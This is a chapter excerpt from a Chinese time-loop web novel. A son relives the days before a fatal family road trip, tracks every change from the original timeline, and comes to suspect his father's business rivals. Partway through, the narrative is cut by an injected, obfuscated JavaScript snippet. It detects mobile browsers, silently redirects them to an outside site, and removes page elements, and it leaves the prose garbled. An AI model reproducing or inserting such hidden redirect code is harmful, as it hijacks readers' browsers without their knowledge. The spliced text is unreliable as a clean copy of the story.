《七日回环》 3. 第一次博弈 一、出发日 2018年6月26日,清晨五点十七分。 贺宴在黑暗中睁开眼睛,第一件事是摸向枕边的手机。屏幕亮起,蓝光照亮他尚未完全清醒的脸庞。 **2018年6月26日星期二05:17** 出发日。 倒计时第五天。 客厅里传来轻微的声响——父亲已经起床了。贺宴听见厨房烧水壶的嗡鸣,冰箱门开合的闷响,还有父亲刻意压低的脚步声。他总是这样,出发旅行前会兴奋得早起,却又怕吵醒家人。 贺宴坐起身,赤脚走到窗边。拉开窗帘一角,天色还是墨蓝色,只有东方地平线透出一丝极淡的鱼肚白。街道空荡荡的,路灯还未熄灭,在晨雾中晕开一圈圈昏黄的光。 这个画面他见过。 在原时间线里,出发日也是这样的清晨。同样的时间,同样的光线,甚至连窗外那辆收垃圾的卡车经过的声音,都分秒不差。 时间仿佛在重复自己。 但这一次,不同了。 贺宴转身走到书桌前,打开台灯,从词典里抽出那张计划表。在第二页底部,他用红笔加了一行字: **“今天目标:1.确认4S店检查结果。2.观察父亲行车状态。3.记录所有偏离原计划的变化。”** 他需要数据。需要知道他的回归到底改变了多少,以及这些改变是否足以影响最终结局。 六点,全家人都起床了。 早餐桌上气氛微妙地兴奋。小雨穿着她新买的粉色运动服,头发扎成高高的马尾,不停问“还有多久出发”。母亲在检查最后一个行李袋,把充电器、纸巾、湿巾塞进侧袋。父亲已经换好了开车要穿的运动装,正在往保温杯里泡茶。 “车我已经预热过了,”父亲说,“等吃完早饭,我们就去4S店,做个出发前的最后检查。” “要多久?”贺宴问。 “快的话半小时。我跟张师傅约好了,他专门留了个工位给我们。” 张师傅是4S店的老技师,父亲的车这几年都在他那里保养。 七点整,全家人上车。 贺宴坐在左后座,系好安全带。这个位置他坐了三年,熟悉座椅的角度,熟悉安全带卡扣的手感,熟悉从后视镜能看到父亲半边脸的角度。 但这一次,每一个细节他都用全新的眼光审视。 车辆启动,引擎发出平稳的低鸣。仪表盘指示灯逐一熄灭,只剩下油表和里程数亮着。父亲挂挡,松手刹,车辆缓缓驶出小区。 早晨的阳光已经爬过楼顶,斜射进车内。贺宴看着阳光在母亲侧脸上移动,照亮她鬓角新生的白发——上个月她才去染过,但发根又白了。 她还活着。还会因为阳光刺眼而微微眯眼,还会因为父亲突然变道而轻呼一声“慢点”,还会转过头问后排的孩子们“要不要喝水”。 她还活着。 这个认知像钝器击中心脏,带来一阵绵长的钝痛。 不是悲伤,是某种更复杂的东西:恐惧混合着庆幸,绝望中掺杂着希望。因为他知道这种“活着”有多脆弱,知道七天后——或者更早——这鲜活的生命可能变成冰冷的尸体。 “小宴,”母亲突然回头,“你把那个袋子递给我一下,蓝色那个。” 贺宴从恍惚中回过神,找到脚边的蓝色布袋递过去。母亲从里面拿出一个小药盒,倒出两颗药片,就着保温杯里的水服下。 “妈,你吃什么药?”他问。 “降压药。”母亲笑笑,“昨天量血压有点高,医生让这几天按时吃。” 降压药。 贺宴脑子里警报响起。在原时间线里,母亲有高血压吗?他努力回想。车祸后的尸检报告……他只看过一次,在极度的崩溃状态下,只记得报告上说“多发性骨折、内脏破裂、颅脑损伤”,没注意有没有提到慢性病。 但如果母亲有高血压,在车祸发生的瞬间,血压骤升可能导致…… 他不敢想下去。 “什么时候开始的?”他尽量让自己的声音听起来只是关心。 “就上个月体检发现的,轻度。”母亲轻描淡写,“没事,吃药控制就好。” 父亲从后视镜看了妻子一眼:“你要不舒服随时说,我们路上多休息。” “知道啦,别大惊小怪的。” 对话到此为止。但贺宴的心却沉了下去。 新变量。母亲的高血压。 在原本的事故中,如果母亲当场死亡是因为撞击导致的严重创伤,那么现在加上高血压这个因素,也许在同样的撞击下,死亡风险会更高。 除非撞击本身不发生。 4S店在城市东郊,二十分钟车程。 张师傅是个五十多岁的老技师,穿着一身沾着机油的工作服,见到他们便笑着迎上来:“贺先生,这么早啊。” “麻烦你了张师傅,出发前想再确认下车况。” “应该的,安全第一。” 车开上升降机。张师傅拿着手电筒和检测电脑,开始系统检查。贺宴跟在一旁,看着车底盘在灯光下暴露无遗:排气管、传动轴、悬挂系统、刹车油管…… “刹车片还有六成,够用。”张师傅一边检查一边说,“轮胎是新换的,胎纹很深。悬挂没问题,减震器状态良好。” 他蹲下来,仔细看底盘某个部位,然后“咦”了一声。 “怎么了?”贺宴的心提了起来。 “这里有点渗油。”张师傅指着变速箱和发动机连接处,“不严重,但最好处理一下。” 渗油。 贺宴迅速回忆。原时间线里,出发前检查有这个问题吗?他不记得了。那天他因为兴奋,根本没仔细看检查过程。 “要紧吗?”父亲问。 “开是能开,但长途的话,万一渗漏加剧……”张师傅沉吟,“我建议处理一下,大概需要两小时。” 两小时。 如果处理,出发时间就要推迟到上午十点以后。行程会被打乱。 “要不算了?”父亲看向贺宴,“你不是担心时间赶吗?” 贺宴的大脑飞速运转。 如果现在说“要处理”,那么出发时间推迟,整个行程的时间节点都会后移。他们经过S107那个弯道的时间也会改变。 但改变是好是坏?他不知道。 也许推迟出发,就能完美避开晚上经过危险路段?也许反而会让他们在更糟糕的时间、更糟糕的路况下经过? 不确定。 “处理吧。”贺宴最终说,“安全第一。” 他选择最保守的方案。任何可能影响车辆安全的因素,都应该排除。 父亲点点头:“那就处理。张师傅,麻烦你了。” “好嘞,你们去休息室等着,好了我叫你们。” 等待的两个小时里,贺宴在手机备忘录里更新记录: **“变化记录1:出发时间推迟2小时(原计划8:00,现预计10:30)。”** **“变化记录2:发现并处理变速箱轻微渗油问题。”** **“新增变量:母亲有轻度高血压,需服药控制。”** 每一条变化,都可能产生涟漪效应。 休息室里,小雨不耐烦地玩着手机游戏,母亲在翻看旅游杂志,父亲在打电话联系酒店,告知可能晚到。 贺宴走到窗边,看着维修车间里自家的车。张师傅和徒弟正在更换密封垫,动作娴熟。 他的目光落在车身上。 银灰色的金属漆面在日光灯下反射着冷光。这辆车会载着他们走一千多公里,会在某个弯道与另一辆车相撞,会翻滚,会变形,会成为四个人的金属棺材。 除非他改变这一切。 “哥,”小雨走过来,也趴在窗边看,“车坏了是不是就不能去了?” “小问题,修好就能去。” “哦。”小雨沉默了一会儿,突然问,“哥,你是不是不想去?” 贺宴转头看她。十二岁的女孩,眼睛清澈,还没有被成年世界的复杂污染。 “为什么这么问?” “因为你都不笑。”小雨说,“以前说要去玩,你早就在网上查攻略了。这次你好像……很害怕。” 贺宴感到喉咙发紧。他没想到小雨能察觉到这么细微的情绪变化。 “我只是担心路上出事。”他说了部分实话。 “会出什么事?” “车祸,生病,迷路……都有可能。” 小雨想了想,很认真地说:“可是如果因为怕出事就不出去,那不就是被害怕关在家里了吗?” 这话从一个十二岁孩子嘴里说出来,有种天真的深刻。 “而且,”小雨继续说,“爸爸开车很小心,妈妈准备了药,我带了手电筒和哨子,你也一直在担心这担心那。我们做了这么多准备,应该没事的。” 应该没事的。 这句话像回声,在贺宴脑海里重复。 在原时间线里,他们也做了这么多准备,甚至更多。但结局是四个人里只有一个人活下来。 准备不能保证安全,只能提高概率。 而他需要的不是概率,是确定性。 “希望吧。”他最终说。 十点二十分,车修好了。 张师傅在维修单上签字:“好了,密封垫换了,顺便把机油也换了。现在车况很好,跑长途没问题。” 父亲付了钱,一家人重新上车。 这一次,贺宴注意到父亲启动车辆后,特意等了一分钟,让引擎充分预热。他还调整了后视镜角度,确认盲区。 细微的、更谨慎的行为变化。 是因为他的“焦虑”传染给了父亲吗? 车辆驶出4S店,汇入主干道车流。 真正的旅程开始了。 --- ##二、第一道弯 从城市到高速入口,要经过十二个红绿灯,七个右转,三个左转。 贺宴记得这条路。原时间线里,他记得每一个路口,记得在哪里父亲抱怨过前车开得太慢,记得在哪里小雨指着窗外说“那个楼好高”。 但现在,一切都有些微妙的不同。 第二个红绿灯,原本应该遇到一个穿黄衣服的环卫工人在扫街,今天没有。 第五个右转,原本应该有一辆出租车突然变道插进来,今天那辆出租车老老实实跟在后面。 第七个路口,原本应该是绿灯直接通过,今天变成了黄灯,父亲选择停车等待。 变化。 虽然微小,但确实存在。 贺宴看着手机上的时间:10:42。比原计划通过这个路口的时间晚了三分钟。 三分钟,在市区可能只差一个红绿灯,但在长途旅行中,三分钟可能意味着遇到不同的车、不同的路况、不同的天气。 蝴蝶效应。 他既是那只蝴蝶,也是观察蝴蝶效应的人。 上高速,取卡,驶入匝道。车辆加速,窗外的景色开始快速后退。小雨兴奋地指着远处的山:“看!山!” 那是他们将要穿越的群山中的第一座。此刻在阳光下呈现青灰色,山顶有薄雾缭绕。 美丽,也危险。 “我们第一站是芷江,”父亲看着导航,“大概下午三点能到。午饭在服务区解决,大家有意见吗?” “没意见。”母亲说,“正好尝尝不同服务区的菜。” “我想吃方便面!”小雨举手。 “不行,没营养。”母亲驳回。 小小的争执,熟悉的家庭日常。 贺宴靠在后座上,闭上眼睛。不是困,是在集中精神。 他在回忆。 回忆原时间线里今天发生的一切:中午在哪个服务区吃的饭,吃的什么;下午经过哪个隧道时小雨说耳朵不舒服;晚上到芷江后住哪个酒店,吃的哪家餐厅。 他需要对照。需要知道他的回归改变了多少,以及这些改变是否会累积成足够大的偏移,影响最终的结局。 第一个服务区在十一点半到达。 “在这里休息一下吧,”父亲说,“开了一个多小时了,活动活动。” 车停进车位。贺宴下车,环顾四周。 这个服务区他记得:建筑是仿侗族风雨桥的风格,停车场边上有一排卖土特产的小店,洗手间在左侧,餐厅在二楼。 一切都和记忆里一样。 但细节有出入:原本应该停在最右边那个车位,今天停在了中间;原本应该看到一辆红色的大货车在卸货,今天那辆车不在;原本在餐厅门口应该遇到一个带小孩的家庭,小孩在哭闹,今天没有。 “我去洗手间。”贺宴说。 “我也去。”小雨跟上来。 洗手间里,贺宴站在洗手池前,看着镜子里自己的脸。二十一岁,因为缺乏睡眠而眼圈发黑,眼神里有超越年龄的沉重。 他用冷水拍脸,试图让自己清醒。 必须更系统地记录变化。不能只靠记忆。 他从口袋里拿出一个小笔记本——这是早上特意带的。翻开第一页,他快速写下: **“6月26日,服务区1:** **-停车位置不同(中vs右)** **-红色货车未出现** **-哭泣小孩未出现** **-时间比原记录晚8分钟”** “哥,你在写什么?”小雨从隔间出来,好奇地凑过来。 贺宴合上笔记本:“记点东西。” “记什么?” “路上的见闻。” “哦。”小雨显然不感兴趣,洗了手就往外跑,“我去看看有什么好吃的!” 餐厅里,母亲已经点好了菜:两荤两素一汤。贺宴看了一眼:辣椒炒肉、清蒸鱼、炒青菜、西红柿鸡蛋、紫菜蛋花汤。 和原时间线一样。 他记得这顿饭。记得辣椒炒肉太咸,父亲抱怨了一句;记得小雨把鱼刺吐在纸巾上,堆成一小堆;记得母亲说紫菜汤不够烫。 现在,父亲吃了一口辣椒炒肉,皱眉:“有点咸。” 小雨小心地挑着鱼刺。 母亲喝了一口汤:“汤温的,不够热。” 一模一样。 贺宴感到一阵寒意。 有些东西在变:时间、位置、遇到的人。但有些东西顽固地保持原样:对话、反应、甚至具体的菜品味道。 时间线像一条有弹力的橡皮筋,可以被拉伸、扭曲,但总会试图弹回原本的形状。 饭后继续上路。 贺宴看着窗外飞速后退的景色,大脑在计算。 按照现在的进度,下午三点左右能到芷江。如果一切顺利,明天他们会进入贵州,后天进入云南。那么经过S107那个弯道的时间,大概率是6月28日或29日晚上。 比原定的7月1日提前了两到三天。 这足够避开那辆卡车吗? 他不知道。因为他不知道那辆卡车6月28日或29日会不会也在那个时间经过。 需要更多信息。 他拿出手机,再次搜索“长河运输公司S107排班”。在颠簸的车里,屏幕上的字有些模糊。但一个帖子引起了他的注意: **“6月28日S107夜班车临时调整通知:因车辆检修,原定28日19:00发车的A-7号车停运,由A-8号车顶替,发车时间改为20:30。”** 发帖时间是6月25日晚上十点,昨天。 贺宴的心脏狂跳起来。 如果原定7月1日的事故车辆是A-7号车(他不确定),那么6月28日A-7号车检修停运,顶替的A-8号车发车时间晚了一个半小时。 这意味着什么? 如果他们6月28日晚上经过S107,原定应该遇到的卡车在检修,顶替的卡车发车时间晚,可能完美错开? 不,不对。他们提前出发了,经过时间也会提前。如果他们下午六点就过了那个弯道,那么即使卡车还是原来的时间,也会错开。 变量太多。计算不过来。 “小宴,”母亲回过头,“你一直看手机,晕车吗?” “没有,查点资料。” “别看了,休息一会儿,路还长着呢。” 贺宴收起手机,但大脑停不下来。 他需要更直接的方法。需要知道那辆卡车——无论哪一辆——具体会在什么时间经过那个弯道。 除非他能黑进长河运输公司的调度系统。 或者,有更简单的方法。 一个念头突然浮现:如果事故真的是“意外”,那么无论车辆、时间如何变化,总会有某种“巧合”让两辆车在那个弯道相遇。 但如果……不是意外呢? 这个想法像冰水浇头,让他浑身一冷。 在原时间线里,他从未怀疑过事故的性质。警察说是意外,保险公司说是事故,所有人都这么说。他也接受了,因为不接受又能怎样?人都死了。 但现在,当他在时间中往返,试图改变过去时,一个可怕的可能性浮现了:如果事故不是意外,而是人为的,那么无论他如何改变行程、改变时间,那个“人为因素”都可能调整计划,确保事故依然发生。 比如,如果有人在他们的车上做了手脚,让刹车在特定时间失灵? 或者,如果那辆卡车的司机被收买,故意在那个弯道制造事故? 或者更糟:如果目标不是事故本身,而是他们一家人的死亡? 贺宴感到呼吸困难。 他看向前座的父亲。贺振国,四十八岁的建筑工程师,性格温和,工作认真,偶尔有点固执,但总的来说是个普通的好人。他会得罪谁到要灭门的地步? 母亲是小学老师,更不可能有这种仇家。 小雨才十二岁。 他自己,二十一岁的大学生,社交简单。 除非…… 父亲的工作? 贺宴想起父亲偶尔会提起公司里的“烦心事”:项目竞标失败、同事间的勾心斗角、甲方的无理要求。但都是职场常见的问题,不至于上升到谋杀。 除非父亲无意中知道了什么不该知道的。 或者,阻碍了什么人的利益。 贺宴的大脑在疯狂运转。这个新假设一旦建立,所有的变量都变得不同了。 如果事故是人为的,那么: 1.改变行程可能无效,因为对方会调整计划。 2.改变时间可能无效,因为对方会等待或创造新的时机。 3.唯一有效的,是找出幕后黑手,提前阻止。 但怎么找?他没有线索,没有资源,没有时间。 而且,如果他的怀疑是真的,那么他现在的一举一动,可能也在被观察。如果幕后黑手发现他在试图改变什么,会不会提前行动? “爸,”贺宴突然开口,“你最近工作上……有没有遇到什么麻烦?” 父亲从后视镜看了他一眼:“怎么突然问这个?” “就是好奇。你们那个新项目顺利吗?” “还行,就是进度有点紧。”父亲顿了顿,“怎么,你想来我们公司实习?” “不是,随便问问。” 母亲插话:“你爸他们公司最近在竞标一个大项目,压力挺大的。不过跟你没关系,别操心。” 大项目。 贺宴记住了这个词。 下午两点四十分,他们到达芷江。 比预计晚了四十分钟,因为中途遇到一次小堵车——一辆货车在高速上抛锚,占用了右侧车道。 这在小堵车在原时间线里没有发生。 又一个变化。 芷江的酒店是提前订好的家庭套房。办入住时,前台小姐微笑着说:“贺先生,您订的是两晚对吧?” 父亲愣了一下:“一晚啊。” “系统显示您预订了两晚,从26号到28号。” 父亲拿出手机查订单确认邮件:“我订的是一晚,你看。” 前台小姐核对后,发现是系统错误。“抱歉抱歉,我给您改成一晚。” 这件小事,在原时间线里也没有发生。 贺宴在一旁记录:**“酒店预订系统错误,多订一晚(已更正)。”** 微小,但确实的变化。 拿到房卡,进房间。套房有一个客厅和两间卧室,父母一间,贺宴和小雨各一张床在另一间。 放下行李,小雨立刻扑到窗边:“哇,能看到江!” 确实,房间在八楼,视野很好,能看到沅江和远处的风雨桥。 “休息一小时,然后我们去吃晚饭,看风雨桥夜景。”父亲说。 贺宴坐在床边,看着窗外。 芷江。这个城市他们原本不会停留这么久,按原计划只是路过吃顿饭。但因为行程调整,他们要在这里住一晚。 新的地点,新的时间,新的变量。 他开始感到一丝希望。 也许,足够多的微小改变,累积起来,真的能改变结局? 晚饭在一家当地特色的餐馆。酸汤鱼、腊肉炒蕨菜、血粑鸭。味道不错,小雨吃得满嘴是油。 饭后散步去看风雨桥。夜晚的灯光把木结构的桥梁照得通明,倒映在江面上,波光粼粼。桥上有很多游客,拍照的,散步的,买小商品的。 一家人慢慢走着。父亲和母亲走在前面,手牵着手——这个细节贺宴很多年没见过了。小雨蹦蹦跳跳,看什么都新鲜。 贺宴跟在后面,看着他们的背影。 这个画面太美好,美好得不真实。 美好得让他害怕失去。 “哥,快来!”小雨在桥中央招手,“这里拍照好看!” 贺宴走过去。小雨把手机塞给他:“帮我和爸妈拍一张。” 父母站在桥栏边,背后是灯火通明的桥廊。母亲靠在父亲肩上,父亲搂着她的腰,两人都笑得很自然。 小雨挤到他们中间,比了个剪刀手。 “一、二、三——” 咔嚓。 照片定格:三个人,笑容灿烂,背后是温暖的灯光。 贺宴看着手机屏幕,眼眶突然发热。 这张照片在原时间线里不存在。因为原计划里他们没在芷江停留,没有看风雨桥夜景,没有拍这张照片。 这是全新的记忆。 是他创造的。 “我也给你拍一张!”小雨拿回手机。 贺宴站到父母身边。父亲的手臂搭在他肩上,很用力。母亲挽着他的另一只手臂。 “笑一个!”小雨指挥。 贺宴努力想笑,但嘴角像是有千斤重。最后挤出来的,大概是个很奇怪的表情。 咔嚓。 又一张照片。 回到酒店已经九点多。小雨累得洗完澡就睡着了。父母在客厅小声说话,大概是商量明天的行程。 贺宴躺在床上,睁着眼睛看天花板。 第一天行程结束。 他们平安到达芷江,比原计划多停留一天,拍到了原本不会有的照片。 改变在发生。 但够吗? 他不知道。 他只知道自己像个在黑暗中拆炸弹的人,不知道哪根线是安全的,不知道剪断哪根会导致爆炸。 只能小心翼翼地,一点一点地尝试。 窗外,芷江的夜色宁静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091709|195451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远处有隐约的歌声,大概是江边的酒吧。 这个世界还在正常运转,不知道有一个家庭正走在一条可能通向毁灭的路上。 也不知道有一个儿子,正在拼命想把他们拉回来。 夜越来越深。 贺宴终于闭上眼睛。 明天,他们将进入贵州。 倒计时第四天。 --- ##三、山路初现 6月27日,清晨六点半。 贺宴被小雨摇醒:“哥,起床了!今天要去梵净山!” 梵净山。 这个地名像一根针,扎进贺宴的记忆。 在原计划里,他们没有去梵净山。因为时间不够,这个景点被砍掉了。但现在,因为行程调整,父亲决定绕一点路,去梵净山看看。 又一个重大改变。 贺宴坐起来,脑子还没完全清醒:“梵净山?不是不去吗?” “爸说时间够,可以去。”小雨已经换好了衣服,是另一套蓝色运动服,“快起来,吃完早饭就出发!” 早餐在酒店餐厅。自助餐,品种不多,但够吃。贺宴拿了一碗米粉,加了酸豆角和肉末,坐在窗边的位置。 父亲拿着盘子走过来,坐下后说:“我查了,从芷江到梵净山大概三个小时车程。我们上午去,下午爬山,晚上住山脚下,明天再往西走。” “爬梵净山要多久?”母亲问。 “看爬哪条线。如果坐索道上到半山,再爬金顶,大概三四个小时。” “小雨爬得动吗?” “我爬得动!”小雨立刻抗议。 贺宴默默听着。这个新行程完全超出了他的“预知”范围。在原时间线里,今天他们应该已经在贵州境内,往昆明方向走了。根本不会绕到梵净山。 这意味着,从今天开始,他将彻底失去“预知”优势。 之后的每一步,都是未知。 这让他恐惧,但也让他看到希望——因为未知意味着可能避开那场车祸。 “爸,”他开口,“梵净山之后呢?路线怎么走?” 父亲拿出手机,打开地图:“从梵净山出来,我们有两个选择:一是走G56杭瑞高速直接往西,到昆明;二是走S308省道,经过黔东南几个古镇,然后上G60到昆明。” S308。 不是S107。 贺宴的心跳加速:“走S308吧,听说沿途风景好。” 父亲看了他一眼:“但S308弯道多,路况可能不如高速。” “反正不赶时间,慢慢开。” 父亲想了想,点头:“也行,那就走S308。” 又一个改变:路线从高速变成了省道。 这意味着他们可能根本不会经过S107那个致命的弯道。 希望,像黑暗中突然点燃的火柴,虽然微弱,但确实存在。 八点,出发。 车驶出芷江,往西北方向开。天气很好,蓝天白云,阳光透过前挡风玻璃洒进车内,暖洋洋的。 小雨在听歌,戴着耳机,跟着节奏轻轻摇头。母亲在副驾驶打瞌睡,头靠着车窗。父亲专注地开车,偶尔跟着收音机里的新闻哼两句。 一切看起来如此平静。 但贺宴无法放松。 他盯着前方的路,盯着每一辆对向驶来的车,盯着每一个弯道。就像在玩一个极度紧张的游戏,任何一个小失误都可能导致GameOver。 而他的家人,甚至不知道自己在游戏里。 九点半,进入贵州境内。 地貌开始变化。山变得更高,更陡,路开始在群山中蜿蜒。隧道一个接一个,长的有五六公里,短的只有几十米。每次进入隧道,车灯自动亮起,在黑暗的甬道中切割出两道光柱。 “哇,这个隧道好长!”小雨摘下耳机,看着隧道壁上飞速后退的灯带。 “这是雪峰山隧道,全长七公里。”父亲说,“贵州很多这样的长隧道。” 贺宴记得这个隧道。在原时间线里,他们也经过了这里,但时间是明天,而不是今天。 时间在偏移。 十一点,到达梵净山景区停车场。 比预计晚了半小时,因为途中遇到一起小事故——一辆小车追尾了货车,占用了半边车道,堵了二十分钟。 又一个原时间线里没有的事件。 停车,买票,坐景区大巴到索道站。 梵净山以奇特的蘑菇石和金顶闻名。索道缓缓上升,脚下的森林越来越远,山峦在视野中展开。小雨兴奋地拍照,母亲有点恐高,紧紧抓着座椅扶手。 贺宴看着窗外。 这是全新的体验。在原时间线里,他没有坐过这条索道,没有看过这样的景色。 改变在积累。 下索道后,开始爬山。通往金顶的路很陡,有些地方几乎是垂直的阶梯,要拉着铁链才能上去。父亲体力好,走在最前面。母亲有些吃力,贺宴和小雨陪着她,慢慢爬。 “妈,你行吗?”贺宴问。 “行,慢慢来。”母亲喘着气,但笑容很坚定,“来都来了,一定要上金顶。” 爬了一个多小时,到达蘑菇石。巨大的岩石立在悬崖边,像一朵蘑菇,又像一本立着的书。很多游客在拍照。 “我们来合影!”父亲提议。 一家人在蘑菇石前站好,请旁边的游客帮忙拍照。 “一、二、三——” 又一次全家福。 贺宴看着镜头,这次他真的笑了。虽然心里还压着沉重的负担,但在这个瞬间,看着家人都好好的,他感到一丝真实的喜悦。 拍完照,继续往金顶爬。 最后的阶梯最陡,几乎要手脚并用。小雨爬得最快,把大人都甩在后面。 “小雨,慢点!”母亲喊。 “我没事!” 到达金顶时,已经下午两点。 站在海拔两千多米的山顶,视野无比开阔。云海在脚下翻滚,远处的山峦像海中的岛屿。风很大,吹得人几乎站不稳。 “太美了!”小雨张开双臂,像是要拥抱整个天空。 父亲搂着母亲的肩,两人静静看着远方。 贺宴站在他们身边,风吹乱他的头发。 在这一刻,他几乎要相信,命运真的可以改变。他们来到了一个原本不会来的地方,创造了一段全新的记忆。那条通向死亡的路,也许真的可以被避开。 但下一秒,恐惧又回来了。 因为改变越大,未知就越多。而未知中可能藏着比既定结局更可怕的危险。 下山比上山快。四点多回到停车场,大家都累坏了。 “今晚住山脚下的民宿,我已经订好了。”父亲说,“明天睡到自然醒,然后慢慢往西走。” 民宿是木质结构的吊脚楼,很有民族特色。房间在二楼,窗户正对着山。 晚饭在民宿的餐厅吃,简单的农家菜。吃饭时,父亲接到了电话。 “喂,李总……对,我在外面旅游……什么?批文没下来?……怎么会这样?我们不是都谈好了吗?……” 父亲的脸色越来越凝重。 贺宴竖起耳朵听。 “……行,我知道了。我明天打电话给王局问问……好,先这样。” 挂断电话,父亲叹了口气。 “怎么了?”母亲问。 “公司那个项目,环保批文卡住了。”父亲揉着太阳穴,“明明上周还说没问题,今天突然说材料不全,要补。” “要紧吗?” “要紧。批文下不来,项目就不能开工,每天都是钱在烧。”父亲摇头,“这些政府部门,办事效率真是……” 贺宴小心地问:“是什么项目?” “一个工业园区的污水处理厂。”父亲说,“我们公司中标的,总投资两个多亿。我负责技术部分。” 污水处理厂。 贺宴脑子里闪过什么。他记得父亲公司确实有个大项目,但具体是什么,他以前没关心过。 “环保批文怎么会卡住?”母亲问。 “谁知道。可能哪个环节没打点好,或者竞争对手使绊子。”父亲苦笑,“这种事多了,习惯了。” 竞争对手。 这个词在贺宴心里敲响了警钟。 如果是竞争对手使绊子,那么手段可能包括阻挠批文、散布谣言、甚至商业间谍。 但会到谋杀的地步吗? 他不确定。 晚饭后,父亲去阳台打电话,大概是跟同事商量对策。贺宴在房间里,打开手机搜索父亲公司的信息。 振华建筑工程有限公司,本地中型企业,主要承接市政工程。最近中标的项目是“黔州工业园区污水处理厂及配套管网建设项目”,中标金额2.3亿,工期18个月。 竞争对手有几家,其中一家叫“宏达建设”,是本地最大的建筑公司,据说背景很深。 贺宴继续搜宏达建设的信息。新闻不少:质量获奖、慈善捐款、领导视察。看起来是正规企业。 但他注意到一条不起眼的旧闻:三年前,宏达建设的一个项目经理因为行贿被调查,后来不了了之。 还有一条:去年,宏达在竞标一个学校项目时,被曝出围标串标,最后被罚款,但项目还是给他们做了。 不算干净。 但仅凭这些,无法证明什么。 贺宴关掉手机,走到窗边。 夜色中的梵净山只剩下黑色的剪影,像一头沉睡的巨兽。 明天,他们将走S308省道,往西进入云南。 那条路他完全不熟悉,没有任何“预知”。 真正的未知之旅。 而父亲公司项目的麻烦,像一片阴云,悬在头顶。 他不知道这两件事有没有关联。 但直觉告诉他:有。 夜风吹进来,带着山间的凉意。 贺宴站了很久,直到父亲打完电话回来。 “还不睡?”父亲问。 “马上睡。爸,那个项目……很麻烦吗?” 父亲看了他一眼,笑了笑:“别担心,我能处理。你好好玩你的。” “如果……如果有人因为这个项目,想对你不利呢?” 父亲愣住了,随即大笑:“你想什么呢?商业竞争而已,又不是□□。顶多是使点小手段,不至于。” “万一呢?” 父亲的表情严肃了些:“小宴,你是不是看了什么不该看的?或者听到什么了?” “没有,就是担心。” “别瞎担心。”父亲拍拍他的肩,“你爸我做了这么多年工程,什么牛鬼蛇神没见过?都是小打小闹,出不了大事。” 说完,他转身进了卫生间洗漱。 贺宴站在原地,看着父亲的背影。 父亲相信世界是讲规则的。商业竞争有商业竞争的规则,再怎么激烈,也不会超出底线。 但贺宴知道,有些人是没有底线的。 在原时间线里,四条人命,就是证明。 如果那场车祸真的是人为的,那么幕后黑手已经证明了自己没有底线。 而现在,父亲对此一无所知。 贺宴握紧拳头。 他必须保护他们。 无论对手是谁,无论有多难。 夜深了。 民宿的灯一盏盏熄灭。 山里的夜晚格外安静,只有虫鸣和远处溪流的声音。 贺宴躺在床上,听着小雨均匀的呼吸声。 明天。 倒计时第三天。 他们将走上一条完全未知的路。 而他,要在黑暗中摸索出一条生路。 4. 迷雾中的轮廓 一、S308,初遇阴影 6月28日清晨,梵净山脚下的雾气还未散尽。 贺宴在民宿木质走廊上醒来——他根本没进房间睡。昨晚父亲那句“出不了大事”像一根刺扎在心里,他整夜坐在走廊长椅上,看着山影从漆黑到灰蓝,再到被晨光勾勒出轮廓。 手里攥着那张已写满三页的计划表。在“变量记录”一栏,他新添了几行: “父亲公司项目遇阻(环保批文卡壳) “竞争对手:宏达建设(背景存疑) “今日路线:S308省道(全新路段,无预知)” 无预知。 这三个字像悬在头顶的利剑。从今天起,他彻底失去了“先知”的优势。前方的每一条弯道、每一辆对向车、每一处路况,都是未知数。 “哥,你怎么睡在这儿?”小雨揉着眼睛从房间出来。 “屋里闷。”贺宴迅速收起笔记本,站起身时腿有些麻,“今天要赶路,你东西收好了吗?” “收好啦。”小雨凑过来,压低声音,“你昨晚是不是又做噩梦了?” 贺宴看着她清澈的眼睛,突然想告诉她一切:告诉她七天后他们会死,告诉他这趟旅行是走向坟场,告诉她自己是从地狱爬回来救他们的。 但他不能。 “没事。”他最终说,“快去洗脸,吃完早饭出发。” 早餐是民宿提供的米粉和煮鸡蛋。父亲看起来有些疲惫,眼下有淡淡的青黑,显然昨晚也没睡好。他一边剥鸡蛋一边看手机,眉头紧锁。 “爸,项目的事很麻烦吗?”贺宴试探着问。 “有点。”父亲没有抬头,“李总早上又打电话了,说环保局那边口径突然收紧,可能要重新做环评报告。” “重新做要多久?” “至少一个月。”父亲把鸡蛋整个塞进嘴里,含糊地说,“工期等不起,违约金每天六位数。” 母亲担忧地看着他:“要不要提前回去处理?” “不用。”父亲摆摆手,终于放下手机,“出来玩就好好玩,工作的事回去再说。” 但他的表情出卖了他——那是一种强装轻松的紧绷。 八点半,出发。 车驶离梵净山景区,沿着盘山公路下行。雾气在山谷间流动,像白色的河流。能见度时好时坏,父亲打开了雾灯,车速放得很慢。 “今天走S308,”父亲看着导航,“大概下午四点能到镇远,我们在那儿住一晚。” 镇远。 贺宴记得这个地名。在原本的行程里,他们不会去镇远,而是直接到贵阳。又一个改变。 车在蜿蜒的山路上行驶了一个多小时,九点五十分,终于汇入S308省道。 这是一条典型的山区公路:双向两车道,路面不算宽,但沥青铺得很平整。左侧是陡峭的山壁,右侧是深深的河谷,有些路段有护栏,有些没有。弯道一个接一个,像没有尽头的螺旋。 父亲开得很谨慎,每个弯道前都鸣笛示意。对向车辆不多,偶尔有几辆本地牌照的小货车慢吞吞地驶过。 贺宴坐在后座,身体微微前倾,眼睛死死盯着前方。每一个弯道,他都想象着那辆蓝色卡车突然出现的画面;每一次鸣笛,他都感觉心脏要跳出胸腔。 “哥,你干嘛这么紧张?”小雨终于忍不住问。 “山路危险。”贺宴简短地回答。 “爸开得很慢啊。” “慢也不一定安全。” 父亲从后视镜看了他一眼:“小宴,放松点。这条路我查过了,车流量小,只要开慢点,没问题。” 贺宴没有接话。他知道父亲说得对——在“正常情况”下,这条路确实不算危险。但问题在于,他们面对的可能不是“正常情况”。 十一点左右,他们经过一个小镇。路边有几家餐馆和修车店,父亲决定停车休息一下。 